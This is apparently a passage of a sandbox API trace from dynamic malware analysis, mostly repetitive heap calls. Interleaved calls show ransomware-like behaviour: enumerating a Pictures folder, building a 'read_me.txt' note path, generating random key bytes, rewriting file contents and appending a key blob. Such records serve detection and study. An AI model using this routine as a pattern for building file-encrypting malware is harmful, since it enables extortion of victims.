GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.581] GetProcessHeap () returned 0x540000 [0081.581] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.582] GetProcessHeap () returned 0x540000 [0081.582] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.583] GetProcessHeap () returned 0x540000 [0081.583] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.584] GetProcessHeap () returned 0x540000 [0081.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.601] GetProcessHeap () returned 0x540000 [0081.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0081.602] GetProcessHeap () returned 0x540000 [0081.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0081.603] SetFilePointerEx (in: hFile=0x7c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.603] WriteFile (in: hFile=0x7c0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0081.603] WriteFile (in: hFile=0x7c0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0081.603] GetProcessHeap () returned 0x540000 [0081.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0081.603] GetProcessHeap () returned 0x540000 [0081.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0081.603] GetProcessHeap () returned 0x540000 [0081.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0081.603] CloseHandle (hObject=0x7c0) returned 1 [0081.604] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 33 [0081.899] GetProcessHeap () returned 0x540000 [0081.899] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44600d8 [0081.899] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\*") returned 44 [0081.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x333fa70, ftCreationTime.dwHighDateTime=0x540150, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x540000, ftLastWriteTime.dwLowDateTime=0x540150, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x41b1088, nFileSizeLow=0x540150, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ႀЛ", cAlternateFileName="")) returned 0xffffffff [0081.899] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\read_me.txt") returned 54 [0081.899] GetProcessHeap () returned 0x540000 [0081.899] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44600d8 | out: hHeap=0x540000) returned 1 [0081.899] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 83 [0081.899] GetProcessHeap () returned 0x540000 [0081.899] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42020b8 | out: hHeap=0x540000) returned 1 [0082.477] SetFilePointerEx (in: hFile=0x82c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.478] ReadFile (in: hFile=0x82c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.478] SetFilePointerEx (in: hFile=0x82c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.478] GetProcessHeap () returned 0x540000 [0082.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.478] GetProcessHeap () returned 0x540000 [0082.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0082.478] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0082.478] GetProcessHeap () returned 0x540000 [0082.478] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0082.478] ReadFile (in: hFile=0x82c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.558] SetFilePointerEx (in: hFile=0x82c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.558] WriteFile (in: hFile=0x82c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.558] GetProcessHeap () returned 0x540000 [0082.558] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.558] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.559] GetProcessHeap () returned 0x540000 [0082.559] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.560] GetProcessHeap () returned 0x540000 [0082.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.561] GetProcessHeap () returned 0x540000 [0082.561] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.562] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.562] GetProcessHeap () returned 0x540000 [0082.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.563] GetProcessHeap () returned 0x540000 [0082.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.563] SetFilePointerEx (in: hFile=0x82c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.563] WriteFile (in: hFile=0x82c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.563] WriteFile (in: hFile=0x82c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.563] GetProcessHeap () returned 0x540000 [0082.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0082.563] GetProcessHeap () returned 0x540000 [0082.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.563] GetProcessHeap () returned 0x540000 [0082.563] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.563] CloseHandle (hObject=0x82c) returned 1 [0082.565] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 45 [0082.565] SetFilePointerEx (in: hFile=0x830, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 